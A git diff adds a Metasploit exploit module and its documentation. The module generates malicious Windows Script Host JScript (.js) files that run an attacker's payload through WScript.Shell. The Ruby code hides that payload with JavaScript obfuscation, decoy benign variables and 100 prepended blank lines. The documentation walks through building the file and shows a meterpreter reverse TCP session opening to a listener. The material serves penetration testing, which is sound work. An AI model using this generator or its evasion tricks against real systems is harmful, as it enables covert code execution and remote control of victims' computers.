diff --git a/documentation/modules/exploit/windows/fileformat/windows_script_host_jscript.md b/documentation/modules/exploit/windows/fileformat/windows_script_host_jscript.md new file mode 100644 index 0000000000000..7d926c6ce4f44 --- /dev/null +++ b/documentation/modules/exploit/windows/fileformat/windows_script_host_jscript.md @@ -0,0 +1,89 @@ +## Vulnerable Application + +This module creates a Windows Script Host (WSH) JScript (.js) file. + +This module has been tested successfully on: + +* Microsoft Windows 7 Professional SP1 (x86_64) +* Microsoft Windows 11 Professional 21H2 (x86_64) + + +## Options + +### FILENAME + +The JScript file name. (Default: `msf.js`). + +### OBFUSCATE + +Enable JavaScript obfuscation. (Default: `true`) + + +## Advanced Options + +### PrependBenignCode + +Prepend several lines of benign code at the start of the file. (Default: `true`) + +### PrependNewLines + +Prepend new lines before the malicious JScript. (Default: `100`) + + +## Verification Steps + +On the Metasploit host: + +1. Start msfconsole +1. Do: `use exploit/windows/fileformat/windows_script_host_jscript` +1. Do: `set filename [filename.js]` +1. Do: `set payload [payload]` +1. Do: `set lhost [lhost]` +1. Do: `set lport [lport]` +1. Do: `run` +1. Do: `handler -p [payload] -P [lport] -H [lhost]` + +On the target Windows machine: + +1. Ensure Windows Security is disabled +1. Ensure Windows Registry `HKCU` and `HKLM` key `SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled` is not present or set to 1 +1. Open the `msf.js` file +1. If prompted to choose a program to open the file, select Windows Script Host + + +## Scenarios + +### Microsoft Windows 11 Professional 21H2 (x86_64) + +``` +msf > use exploit/windows/fileformat/windows_script_host_jscript +[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(windows/fileformat/windows_script_host_jscript) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +payload => cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(windows/fileformat/windows_script_host_jscript) > set lhost 192.168.200.130 +lhost => 192.168.200.130 +msf exploit(windows/fileformat/windows_script_host_jscript) > set lport 4444 +lport => 4444 +msf exploit(windows/fileformat/windows_script_host_jscript) > run +[+] msf.js stored at /root/.msf4/local/msf.js +msf exploit(windows/fileformat/windows_script_host_jscript) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130 +[*] Payload handler running as background job 0. + +[*] Started reverse TCP handler on 192.168.200.130:4444 +msf exploit(windows/fileformat/windows_script_host_jscript) > +[*] Sending stage (203846 bytes) to 192.168.200.169 +[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:49893) at 2025-07-20 09:14:37 -0400 + +msf exploit(windows/fileformat/windows_script_host_jscript) > sessions -i -1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : WIN-11-PRO-X64 +OS : Windows 11 21H2 (10.0 Build 22000). +Architecture : x64 +System Language : en_GB +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/modules/exploits/windows/fileformat/windows_script_host_jscript.rb b/modules/exploits/windows/fileformat/windows_script_host_jscript.rb new file mode 100644 index 0000000000000..e33ce941e2863 --- /dev/null +++ b/modules/exploits/windows/fileformat/windows_script_host_jscript.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::JSObfu + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Malicious Windows Script Host JScript (.js) File', + 'Description' => %q{ + This module creates a Windows Script Host (WSH) JScript (.js) file. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'bcoles' + ], + 'References' => [ + ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE], + ], + 'Arch' => [ARCH_CMD], + 'Platform' => 'win', + 'Payload' => { + 'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping + 'BadChars' => "\x00", + 'DisableNops' => true + }, + 'Targets' => [ + [ + 'Microsoft Windows 98 or newer', {} + ], + ], + 'Privileged' => false, + 'DisclosureDate' => '1998-06-25', # Windows 98 release date + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'DisablePayloadHandler' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [SCREEN_EFFECTS] + } + ) + ) + + register_options([ + OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']), + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) + ]) + + register_advanced_options([ + OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]), + OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious JScript.', 100]), + ]) + end + + def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false) + js = '' + + # TODO: This could be improved by generating more realistic looking + # benign code with functions and flow control + if prepend_benign_code + rand(5..10).times do + js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n" + end + end + + js << "\r\n" * prepend_new_lines + + escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"') + + # If the payload contains " & " we presume it is a command string. + # + # TODO: Change this once Metasploit is able to inform a module that + # the specified ARCH_CMD payload is a string of commands + # (not a single command). + if escaped_payload.include?(' & ') + cmd = "cmd.exe /c #{escaped_payload}" + else + cmd = escaped_payload + end + + shell_var = rand_text_alpha(6..16) + js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");" + js_payload << "#{shell_var}.Run(\"#{cmd}\");" + + if obfuscate + js_obfu = Rex::Exploitation::JSObfu.new(js_payload) + obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s + # WSH JScript execution context does not support 'window' object + obfuscated_payload = obfuscated_payload.gsub('window[', 'String[') + js << obfuscated_payload + else + js << js_payload + end + + js + end + + def exploit + js = generate_jscript( + payload.encoded, + prepend_benign_code: datastore['PrependBenignCode'], + prepend_new_lines: datastore['PrependNewLines'], + obfuscate: datastore['OBFUSCATE'] + ) + file_create(js) + end +end